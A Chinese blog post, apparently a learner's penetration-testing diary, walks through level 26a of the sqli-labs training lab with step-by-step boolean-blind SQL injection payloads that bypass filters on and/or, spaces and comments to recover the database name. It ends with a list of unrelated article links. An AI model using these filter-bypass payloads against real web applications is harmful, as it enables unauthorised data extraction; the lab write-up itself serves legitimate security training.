当前位置: 首页 > news >正文

在职老D渗透日记day19:sqli-labs靶场通关(第26a关)get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ‘)闭合

5.26a.第26a关 get布尔盲注 过滤or和and基础上又过滤了空格和注释符 ')闭合

5.26a.1.手动注入
(1)判断注入类型、注入点
?id=2'                  报错,字符型注入,判断'闭合
?id=2'%26%26'1'='1      返回id=1数据,判断不是'闭合
?id=2')%26%26'1'=('1    返回id=2数据,确定是')闭合

(2)猜解数据库长度

没有报错回显,不能用报错注入,用布尔盲注

id=2')&&length(database())=8&&'1'=('1
使用&&替代and
&转义%26
?id=2')%26%26length(database())=8%26%26'1'=('1

(3)利用ascii猜解数据库名
substr(string, start, length)    字符串截取函数
string是要处理的字符串
start是开始位置(从1开始计数)
length是要截取的长度ascii()                         返回字符ascii码
大写字母范围:65 (A) ~  90 (Z)→ 连续递增,无间隔
小写字母范围:97 (a) ~ 122 (z)→ 连续递增,无间隔,大小写差值:32
26个小写字母ascii值
a97    h104    o111    v118    
b98    i105    p112    w119
c99    j106    q113    x120
d100   k107    r114    y121
e101   l108    s115    z122
f102   m109    t116
g103   n110    u117    大写-32
?id=2')%26%26(ascii(substr(database(),1,1)))>100%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>200%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>150%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>125%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>112%26%26'1'=('1    正常回显
?id=2')%26%26(ascii(substr(database(),1,1)))>120%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))>116%26%26'1'=('1    空
?id=2')%26%26(ascii(substr(database(),1,1)))=115%26%26'1'=('1    正常回显,数据库名第1个字母为s?id=2')%26%26(ascii(substr(database(),2,1)))=101%26%26'1'=('1    正常回显,数据库名第2个字母为e?id=2')%26%26(ascii(substr(database(),3,1)))=99%26%26'1'=('1     正常回显,数据库名第3个字母为c?id=2')%26%26(ascii(substr(database(),4,1)))=117%26%26'1'=('1    正常回显,数据库名第4个字母为u?id=2')%26%26(ascii(substr(database(),5,1)))=114%26%26'1'=('1   正常回显,数据库名第5个字母为r?id=2')%26%26(ascii(substr(database(),6,1)))=105%26%26'1'=('1    正常回显,数据库名第6个字母为i?id=2')%26%26(ascii(substr(database(),7,1)))=116%26%26'1'=('1    正常回显,数据库名第7个字母为t?id=2')%26%26(ascii(substr(database(),8,1)))=121%26%26'1'=('1    正常回显,数据库名第8个字母为y?id=2')%26%26(ascii(substr(database(),9,1)))=96%26%26'1'=('1     空
数据库名为security

http://www.xdnf.cn/news/1320409.html

相关文章:

  • 线程(基本概念和相关命令)
  • LeetCode热题100--104. 二叉树的最大深度--简单
  • Rust:实现仅通过索引(序数)导出 DLL 函数的功能
  • STM32单片机学习日记
  • 网络常识-SSE对比Websocket
  • 记一次安装OpenStack(Stein)-nova报错问题解决
  • 数据赋能(396)——大数据——抽象原则
  • 智能汽车领域研发,复用云原生开发范式?
  • 48.Seata认识、部署TC服务、微服务集成
  • http工作流程
  • C++算法竞赛:位运算
  • 前端项目练习-王者荣耀竞赛可视化大屏 -Vue纯前端静态页面项目
  • 服务器管理与配置学习总结
  • MYSQL-175. 组合两个表
  • JavaScript性能优化实战(四):资源加载优化
  • LeetCode 837.新 21 点:动态规划+滑动窗口
  • 【数据结构】堆和二叉树详解——上
  • 旋钮键盘项目---foc讲解(闭环位置控制)
  • 学习Python中Selenium模块的基本用法(5:程序基本步骤)
  • Linux817 shell:until,nfs,random
  • 力扣438:找到字符串中所有的字母异位词
  • Django前后端交互实现用户登录功能
  • [python学习记录2]变量
  • 脉冲计数实现
  • Docker之自定义jkd镜像上传阿里云
  • 排列组合+数量+资料
  • 25. 能否创建一个包含可变对象的不可变对象
  • 编程算法实例-Armstrong数(阿姆斯特朗数)
  • IDE/去读懂STM32CubeMX 时钟配置图(有源/无源晶振、旁路/晶振模式、倍频/分频)
  • 负载测试与压力测试详解